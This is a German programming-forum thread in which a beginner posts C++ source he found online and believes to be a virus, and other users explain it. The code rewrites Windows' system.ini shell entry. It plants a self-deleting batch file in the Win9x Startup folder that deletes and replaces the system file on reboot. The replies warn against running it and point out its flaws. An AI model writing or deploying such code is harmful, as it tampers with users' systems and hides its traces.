brauche HILFE mit Programm, Bitte !!!



  • Hi leute ich bin noch ein totaler Newbee und brauche hilfe..... 🙂

    Könntet ihr mir verraten wie dieses Programm funtzt.... und ich meine schritt weise und so das es auch jeder depp (wie ich) versteht.... wie ich dem code entnehmen kann glaube ich das es ein virus oder so ist aber... ich habe kein plan wie er genau arbeitet....! könntet ihr mir genau erklären wie man mit
    ifstream input
    ofstream output und den anderen code arbeitet....! und am wichtigsten finde ich die batch anweisung.... wie verwendet man die , bitte helft mir!

    #include<iostream.h>
    #include<fstream.h>
    #include<string>
    
    int main()
    {
            ifstream input("c:/windows/system.ini");
            ofstream output("c:/windows/temp/system1.ini");
    
            // initialise variables
            string aLine;
            bool changed = false;
            int shellPos = -1;
    
            while (!input.eof())
            {
    
                    // first get a line
                    getline(input, aLine);
    
                    // then search for 'shell'
    
                    shellPos = aLine.find("shell");
    
                    if (shellPos >= 0 && changed == false)
                    {
                            string newShell = "shell=Progman.exe";
                            output << newShell << endl;
                            changed = true;
                    }
    
                    // else output to copy file
                    else
                    {
                            output << aLine << endl;
                    }
            }
    
            input.close();
            output.close();
    
            /* make a batch file and put it into startup that
               replaces the proper system.ini with mine */
    
            ofstream batch("c:/windows/startm~1/programs/startup/nostalga.bat");
    
            batch           << "echo off\n"
                            << "cd c:\\windows\n"
                            << "del system.ini\n"
                            << "copy .\\temp\\system1.ini .\\system.ini\n"
                            << "cd c:\\windows\\startm~1\\programs\\startup\n"
                            << "del nostalga.bat\n"
                            << "exit" << endl;
    
            //-------------------------------------------------
    
            return 0;
    }
    

    MFG



  • Das Programm funzt schrittweise genau so, wies gecodet ist!!!

    Falls Dir das nichts sagt, LASS DIE FINGER DAVON!!!

    Der setzt nen 'Scribt' in Autostart
    Dieser ersetzt Deine System- Datei mit ner neuen.
    Darin ist der (alte, leere) Programmmanager die Oberfläche.
    Spuren werden (sehr lausig!!! Tststs) gelöscht.

    Nach Neustart haste den Salat - machs lieber nicht!

    PS: sieht nicht sehr gefährlich aus. (Haste Lust, das OS neu zu machen?)



  • ich verstehe ja was es macht aber wie es das macht das es mir nicht ganz klar deswegen brauche ich die hilfe....!!!
    und was macht nun der batch befehl und wie setzt man ihn nun ein ???

    Hilfe bitte

    MFG



  • Was heißt wie setzt man die batch ein ? Hast du dir den Source Code für einen Virus aus dem Netzt geladen und willst ihn irgendwem schicken verstehst ihn aber nicht oder wie ?

    Die batch ersetzt nur die alte system.ini durch die geänderte, also die system1.ini, die Spuren werden allerdings, wie DerAltenburger schon sagte, relativ schlampig beseitigt. Ich würde dir ebenfalls raten die Finger von dem Programm zu lassen wenn dus nicht verstehst. Da kommt sonst ne Menge Arbeit auf dich zu.



  • DerAltenburger schrieb:

    Das Programm funzt schrittweise genau so, wies gecodet ist!!!

    Falls Dir das nichts sagt, LASS DIE FINGER DAVON!!!

    Der setzt nen 'Scribt' in Autostart
    Dieser ersetzt Deine System- Datei mit ner neuen.
    Darin ist der (alte, leere) Programmmanager die Oberfläche.
    Spuren werden (sehr lausig!!! Tststs) gelöscht.

    Nach Neustart haste den Salat - machs lieber nicht!

    PS: sieht nicht sehr gefährlich aus. (Haste Lust, das OS neu zu machen?)

    Nach dem Neustart wird wohl gar nichts passieren, da es nur auf einem Englisch-Sprachigen System funzt, oder sehe ich das falsch?



  • leute ich hatte nie vor das teil einem zu verschicken! ich interessiere mich eben für quellcodes, ich analysiere sie gerne und lerne so mehr....(auch mit hilfe)



  • Das ist kein sauberes C++ Programm:

    #include<iostream.h> 
    #include<fstream.h> 
    #include<string> 
    
    int main() 
    { 
    ...
    

    Die Header werden bei dem aktuell gültigen C++ Standard nicht mehr mit Dateiendung inkludiert (obwohl die Header sehr wohl als Datei mit Dateiendung auf dem Filesystem liegen _können_).

    Und wo ist im kompletten Quellcode das Prefix "std::" ? Du hast schliesslich nirgendwo "using namespace std;" verwendet um den kompletten std Namespace einzubinden.

    ofstream batch("c:/windows/startm~1/programs/startup/nostalga.bat"); 
     
            batch           << "echo off\n" 
                            << "cd c:\\windows\n" 
                            << "del system.ini\n" 
                            << "copy .\\temp\\system1.ini .\\system.ini\n" 
                            << "cd c:\\windows\\startm~1\\programs\\startup\n" 
                            << "del nostalga.bat\n" 
                            << "exit" << endl;
    

    Die "\n" kannst du gerne ersetzen durch "std::endl" und funktioniert dann trotzdem noch 🙂



  • Anonymous schrieb:

    ... und was macht nun der batch befehl und wie setzt man ihn nun ein ???

    batch ist kein Befehl!!!

    Das<ist Dein (geoeffneter) Output- File- Stream.

    In den wird 'Text' geschrieben - der Inhalt der zu erzeugenden Batch- Datei.



  • Nach dem Neustart wird wohl gar nichts passieren, da es nur auf einem Englisch-Sprachigen System funzt, oder sehe ich das falsch?

    Das System muss nicht nur Englisch sein, der gesetzte Pfad für den
    Autostart funktioniert auch nicht in allen Windowsversionen - nicht in
    WinXP, WinNT, Win2k, sondern nur in Win9x , wenn ich mich recht erinnere.



  • ich wollte nur sagen ich habe den code nicht geschrieben... den habe ich aus dem net, ich analysiere den code nur so kann ich lernen, naja mehr oder weniger!
    aber ihr habt mir damit echt geholfen danke!!!

    MFG



  • Wenn du7 vernünftige Antworten haben willst, dann frag doch gezielt anch was eine Zeile bedeutet! für diemeisten hier wird klar sein was da abläuft und das sogar relativ unspektakulär, daher weis kaum einer was genau dich interessieren könnte.

    Zum Programm:
    In der tat nicht grad das beste *g* weicht der Systempfad ab ist ende im gelände *g* Da währen wohl ein par WinAPI funktionen angebracht __


Anmelden zum Antworten